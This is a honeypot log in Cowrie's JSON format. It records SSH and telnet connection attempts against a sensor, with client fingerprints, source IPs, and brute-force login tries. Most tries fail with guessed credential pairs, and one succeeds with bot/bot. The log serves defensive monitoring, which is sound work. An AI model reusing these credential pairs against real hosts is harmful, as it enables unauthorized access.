{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:09.871142Z","src_ip":"47.239.15.75","session":"a85259d1834a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.422764539718628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:29.053739Z","src_ip":"92.204.138.187","session":"12da5f753bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.24253225326538,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:33.670725Z","src_ip":"45.58.127.90","session":"05e9e2f3dae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.42417526245117,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:35.955393Z","src_ip":"45.58.127.90","session":"87a078a96dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":36610,"dst_ip":"159.203.135.109","dst_port":22,"session":"525d1576b0df","protocol":"ssh","message":"New connection: 47.239.15.75:36610 (159.203.135.109:22) [session: 525d1576b0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:45.966729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:45.978178Z","src_ip":"47.239.15.75","session":"525d1576b0df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53524,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a0885d2aad","protocol":"telnet","message":"New connection: 45.58.127.90:53524 (10.17.0.5:23) [session: a9a0885d2aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:20:46.030517Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":33444,"dst_ip":"159.203.135.109","dst_port":22,"session":"950a2bea9105","protocol":"ssh","message":"New connection: 98.70.48.241:33444 (159.203.135.109:22) [session: 950a2bea9105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:00.813123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:00.818036Z","src_ip":"98.70.48.241","session":"950a2bea9105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:01.007905Z","src_ip":"98.70.48.241","session":"950a2bea9105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa@123456789","message":"login attempt [ubuntu/Aa@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:01.795449Z","src_ip":"98.70.48.241","session":"950a2bea9105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:02.989125Z","src_ip":"98.70.48.241","session":"950a2bea9105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:08.694382Z","src_ip":"47.239.15.75","session":"a85259d1834a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"85.8","message":"Connection lost after 85.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:14.914650Z","src_ip":"47.239.15.75","session":"a85259d1834a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.462114572525024,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:21:28.492508Z","src_ip":"45.58.127.90","session":"a9a0885d2aad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":47180,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fc409b40652","protocol":"ssh","message":"New connection: 98.70.48.241:47180 (159.203.135.109:22) [session: 4fc409b40652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:02.136289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:02.144777Z","src_ip":"98.70.48.241","session":"4fc409b40652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:02.341481Z","src_ip":"98.70.48.241","session":"4fc409b40652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54256,"dst_ip":"159.203.135.109","dst_port":22,"session":"44371c9573e9","protocol":"ssh","message":"New connection: 47.239.15.75:54256 (159.203.135.109:22) [session: 44371c9573e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:02.461095Z"}
{"eventid":"cowrie.login.failed","username":"appldev","password":"appldev1234","message":"login attempt [appldev/appldev1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:03.151697Z","src_ip":"98.70.48.241","session":"4fc409b40652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43454,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f9ff6e141b1","protocol":"telnet","message":"New connection: 45.58.127.90:43454 (10.17.0.5:23) [session: 2f9ff6e141b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:03.450266Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:04.349408Z","src_ip":"98.70.48.241","session":"4fc409b40652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":42546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e367c07ac9a4","protocol":"telnet","message":"New connection: 92.204.138.187:42546 (10.17.0.5:23) [session: e367c07ac9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:06.231696Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59976,"dst_ip":"159.203.135.109","dst_port":23,"session":"04b33a8d29a4","protocol":"telnet","message":"New connection: 147.182.143.59:59976 (159.203.135.109:23) [session: 04b33a8d29a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:12.052402Z"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:12.278660Z","src_ip":"47.239.15.75","session":"44371c9573e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39216,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a2fd2cbe42","protocol":"ssh","message":"New connection: 194.59.206.2:39216 (159.203.135.109:22) [session: 58a2fd2cbe42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:16.594739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:16.605105Z","src_ip":"194.59.206.2","session":"58a2fd2cbe42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:16.691207Z","src_ip":"194.59.206.2","session":"58a2fd2cbe42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:16.782710Z","src_ip":"194.59.206.2","session":"58a2fd2cbe42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.53302264213562,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:25.585296Z","src_ip":"147.182.143.59","session":"04b33a8d29a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826360940933228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:37.057983Z","src_ip":"92.204.138.187","session":"e367c07ac9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50bb13e31b9","protocol":"telnet","message":"New connection: 45.58.127.90:33152 (10.17.0.5:23) [session: c50bb13e31b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:37.366798Z"}
{"eventid":"cowrie.session.closed","duration":37.29952049255371,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:40.749659Z","src_ip":"45.58.127.90","session":"2f9ff6e141b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:45.981509Z","src_ip":"47.239.15.75","session":"525d1576b0df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54408,"dst_ip":"159.203.135.109","dst_port":22,"session":"0215b9f19093","protocol":"ssh","message":"New connection: 47.239.15.75:54408 (159.203.135.109:22) [session: 0215b9f19093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:54.472576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:54.478198Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:54.939094Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33324,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d934f9716a","protocol":"ssh","message":"New connection: 2.57.121.25:33324 (159.203.135.109:22) [session: b3d934f9716a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:57.629875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:57.634765Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:57.738995Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23071996","message":"login attempt [user/23071996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:58.227243Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23071978","message":"login attempt [user/23071978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:22:59.334319Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:00.245234Z","src_ip":"47.239.15.75","session":"0215b9f19093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230689","message":"login attempt [user/230689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:00.441439Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23061993","message":"login attempt [user/23061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:01.550195Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":50514,"dst_ip":"159.203.135.109","dst_port":22,"session":"282310fe8a49","protocol":"ssh","message":"New connection: 98.70.48.241:50514 (159.203.135.109:22) [session: 282310fe8a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:02.094292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:02.098487Z","src_ip":"98.70.48.241","session":"282310fe8a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:02.297520Z","src_ip":"98.70.48.241","session":"282310fe8a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23061978","message":"login attempt [user/23061978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:23:02.657401Z","src_ip":"2.57.121.25","session":"b3d934f9716a","protocol":"ssh"}
